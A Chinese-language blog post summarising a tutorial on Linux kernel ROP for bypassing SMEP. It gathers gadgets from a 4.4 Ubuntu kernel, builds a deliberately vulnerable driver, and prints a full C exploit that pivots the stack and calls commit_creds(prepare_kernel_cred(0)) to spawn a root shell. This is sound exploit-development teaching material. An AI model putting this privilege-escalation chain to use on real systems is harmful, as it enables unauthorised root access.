这篇博客是对Linux Kernel ROP - Ropping your way to # (Part 1)Linux Kernel ROP - Ropping your way to # (Part 2)的学习总结

1. Kernel ROP

在内核漏洞利用中一般会涉及到提权,最经典的就是通过ret2user攻击执行用户空间的如下代码来实现

void __attribute__((regparm(3))) payload() {
    commit_creds(prepare_kernel_cred(0);
}

随着漏洞利用缓解技术的发展,Intel CPU新增了类似用户层的DEP防御措施SMEP,这可以使在内核层不能执行用户空间的代码而只能执行内核空间的代码,跟绕过DEP类似可以使用Kernel ROP来绕过SMEP。例如在x86_64架构下可以使用如下ROP链来进行提权

image_1b7nfsirn172t1vvea3j1o2e1evh9.png-14.4kB

2. 测试环境

$ uname -a                  
Linux bird-pc 4.4.0-38-generic #57~14.04.1-Ubuntu SMP Tue Sep 6 17:20:43 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

3. 获取gadgets

首先用extract-vmlinux脚本抽取出未经压缩的内核

$ sudo ./extract-vmlinux /boot/vmlinuz-4.4.0-38-generic > vmlinux

然后用ROPgadget搜索需要的gadget

$ ROPgadget --binary vmlinux > ropgadget
$ grep ': pop rdi ; ret' ropgadget 
0xffffffff810598fd : pop rdi ; ret
$ grep ': pop rdx ; ret' ropgadget
0xffffffff811dd5b0 : pop rdx ; ret
$ grep ': mov rdi, rax ; call rdx' ropgadget
0xffffffff810152bf : mov rdi, rax ; call rdx

另外再获取prepare_kernel_credcommit_creds的地址

$ sudo cat /proc/kallsyms | grep 'prepare_kernel_cred'
ffffffff8109db00 T prepare_kernel_cred
$ sudo cat /proc/kallsyms | grep 'commit_creds'       
ffffffff8109d820 T commit_creds

得到这些地址后就可以通过如下ROP链来进行提权

0xffffffff810598fd # pop rdi ; ret
NULL
0xffffffff8109db00 # prepare_kernel_cred()
0xffffffff811dd5b0 # pop rdx ; ret
0xffffffff8109d820 # commit_creds()
0xffffffff810152bf # mov rdi, rax ; call rdx

4. 开发一个含有漏洞的驱动程序

struct drv_req {
        unsigned long offset;
};
...


static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) {
        struct drv_req *req;
        void (*fn)(void);

        switch(cmd) {
        case 0:
                req = (struct drv_req *)args;
                printk(KERN_INFO "size = %lx\n", req->offset);
                printk(KERN_INFO "fn is at %p\n", &ops[req->offset]);
                fn = &ops[req->offset];
                fn();
                break;
        default:
                break;
        }

        return 0;
}

通过改变offset可以执行任意地址处的指令,编译代码并加载此内核模块,通过dmesg命令查看输出得到ops的地址

$ make && sudo insmod ./drv.ko
$ dmesg | tail
[31065.804570] addr(ops) = ffffffffc06d1480

修改权限让普通用户可以访问此驱动

$ sudo chmod a+r /dev/vulndrv

之后就可以通过如下代码交互

#define DEVICE_PATH "/dev/vulndrv"
...

int main(int argc, char **argv) {
    int fd;
    struct drv_req req;

    req.offset = atoll(argv[1]);

    fd = open(DEVICE_PATH, O_RDONLY);

    if (fd == -1) {
        perror("open");
    }

    ioctl(fd, 0, &req);

    return 0;
}

5. Exploit

由于在用户空间上设置ROP链更加方便,因此先把栈迁移到用户空间,一般栈迁移常用如下gadget

  • mov %rsp, %rXx ; ret
  • add %rsp, ...; ret
  • xchg %rXx, %rsp ; ret

由于执行fn()时最后的指令是call rax,因此这里使用xchg eax, esp ; ret来进行栈迁移,用如下脚本来获取适当的offset

#!/usr/bin/env python
import sys

base_addr = int(sys.argv[1], 16)

f = open(sys.argv[2], 'r') # gadgets

for line in f.readlines():
	target_str, gadget = line.split(':')
	target_addr = int(target_str, 16)

	# check alignment
	if target_addr % 8 != 0:
		continue

	offset = (target_addr - base_addr) / 8
	print 'offset =', (1 << 64) + offset
	print 'gadget =', gadget.strip()
	print 'stack addr = %x' % (target_addr & 0xffffffff)
	break
$ cat ropgadget | grep ': xchg eax, esp ; ret' > gadgets
$ python kernel_rop/find_offset.py 0xffffffffc06d1480 ./gadgets 
offset = 18446744073577504571
gadget = xchg eax, esp ; ret 0x141
stack addr = 81760e58

然后就可以通过如下payload来进行提权

unsigned long *fake_stack;

mmap_addr = stack_addr & 0xfffff000;
assert((mapped = mmap((void*)mmap_addr, 0x2000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_POPULATE|MAP_FIXED|MAP_GROWSDOWN, 0, 0)) == (void*)mmap_addr);

fake_stack = (unsigned long *)(stack_addr);
*fake_stack ++= 0xffffffff810598fdUL; /* pop %rdi; ret */

fake_stack = (unsigned long *)(stack_addr + 0x141 + 8);

*fake_stack ++= 0x0UL;                /* NULL */ 
*fake_stack ++= 0xffffffff8109db00UL; /* prepare_kernel_cred() */

*fake_stack ++= 0xffffffff811dd5b0UL; /* pop %rdx; ret */
*fake_stack ++= 0xffffffff8109d826UL; // commit_creds() + 2 instructions,不破坏栈布局

*fake_stack ++= 0xffffffff810152bfUL; /* mov %rax, %rdi; call %rdx */

提权成功后在64位下可以通过iretq指令从内核空间返回到用户空间来执行用户层的代码,另外执行iretq指令时需要有如下的栈布局

image_1b7nrctsi1b51oq16431aou1ctj9.png-13.6kB

可以通过如下代码先保存用户层的CSEFLAGSSS寄存器

unsigned long user_cs, user_ss, user_rflags;

static void save_state() {
    asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "pushfq\n"
    "popq %2\n"
    : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}

然后搜索iretqgadget

$ objdump -j .text -d vmlinux | grep iretq | head -1 
ffffffff817fae97:	48 cf                	iretq

在64位下执行iretq指令前还需要执行swapgs指令置换GS寄存器和KernelGSbase MSR寄存器的内容

$ objdump -j .text -d vmlinux | grep swapgs -A 20          
ffffffff810613e4:	0f 01 f8             	swapgs
ffffffff810613e7:	5d                   	pop    %rbp
ffffffff810613e8:	c3                   	retq

完整的ROP链如下

save_state();

fake_stack = (unsigned long *)(stack_addr);
*fake_stack ++= 0xffffffff810598fdUL; /* pop %rdi; ret */

fake_stack = (unsigned long *)(stack_addr + 0x141 + 8);

*fake_stack ++= 0x0UL;                /* NULL */ 
*fake_stack ++= 0xffffffff8109db00UL; /* prepare_kernel_cred() */

*fake_stack ++= 0xffffffff811dd5b0UL; /* pop %rdx; ret */
*fake_stack ++= 0xffffffff8109d826UL; // commit_creds() + 2 instructions,不破坏栈布局

*fake_stack ++= 0xffffffff810152bfUL; /* mov %rax, %rdi; call %rdx */

*fake_stack ++= 0xffffffff810613e4UL; // swapgs ; pop rbp ; ret
*fake_stack ++= 0xdeadbeefUL;         // dummy placeholder 

*fake_stack ++= 0xffffffff817fae97UL; /* iretq */
*fake_stack ++= (unsigned long)shell; /* spawn a shell */
*fake_stack ++= user_cs;              /* saved CS */
*fake_stack ++= user_rflags;          /* saved EFLAGS */
*fake_stack ++= (unsigned long)(temp_stack+0x5000000);  /* mmaped stack region in user space */
*fake_stack ++= user_ss;              /* saved SS */

最后编译EXP执行获得root权限的shell

$ gcc rop_exploit.c -O2 -o rop_exploit
$ ./rop_exploit 18446744073577504571 ffffffffc06d1480  
array base address = 0xffffffffc06d1480
stack address = 0x81760e58
# id
uid=0(root) gid=0(root)=0(root)

6. 完整EXP

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include "drv.h"

#define DEVICE_PATH "/dev/vulndrv"

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;

static void save_state() {
	asm(
	"movq %%cs, %0\n"
	"movq %%ss, %1\n"
	"pushfq\n"
	"popq %2\n"
	: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" 		);
}

void shell(void) {
	if(!getuid())
		system("/bin/sh");

	exit(0);
}

void usage(char *bin_name) {
	fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name);
}

int main(int argc, char *argv[])
{
	int fd;
	struct drv_req req;
	void *mapped, *temp_stack;
	unsigned long base_addr, stack_addr, mmap_addr, *fake_stack;

	if (argc != 3) {
		usage(argv[0]);
		return -1;
	}

	req.offset = strtoul(argv[1], NULL, 10);
	base_addr  = strtoul(argv[2], NULL, 16);

	printf("array base address = 0x%lx\n", base_addr);
	stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
	fprintf(stdout, "stack address = 0x%lx\n", stack_addr);

	mmap_addr = stack_addr & 0xffff0000;
	assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr);
	assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000);

	save_state();
	fake_stack = (unsigned long *)(stack_addr);
	*fake_stack ++= 0xffffffff810598fdUL; /* pop %rdi; ret */

	fake_stack = (unsigned long *)(stack_addr + 0x141 + 8);

	*fake_stack ++= 0x0UL;                /* NULL */ 
	*fake_stack ++= 0xffffffff8109db00UL; /* prepare_kernel_cred() */

	*fake_stack ++= 0xffffffff811dd5b0UL; /* pop %rdx; ret */
	//*fake_stack ++= 0xffffffff8109d820UL; /* commit_creds() */
	*fake_stack ++= 0xffffffff8109d826UL; // commit_creds() + 2 instructions

	*fake_stack ++= 0xffffffff810152bfUL; /* mov %rax, %rdi; call %rdx */

	*fake_stack ++= 0xffffffff810613e4UL; // swapgs ; pop rbp ; ret
	*fake_stack ++= 0xdeadbeefUL;         // dummy placeholder 

	*fake_stack ++= 0xffffffff817fae97UL; /* iretq */
	*fake_stack ++= (unsigned long)shell; /* spawn a shell */
	*fake_stack ++= user_cs;              /* saved CS */
	*fake_stack ++= user_rflags;          /* saved EFLAGS */
	*fake_stack ++= (unsigned long)(temp_stack+0x5000000);  /* mmaped stack region in user space */
	*fake_stack ++= user_ss;              /* saved SS */

	fd = open(DEVICE_PATH, O_RDONLY);

	if (fd == -1) {
		perror("open");
	}

	ioctl(fd, 0, &req);

	return 0;
}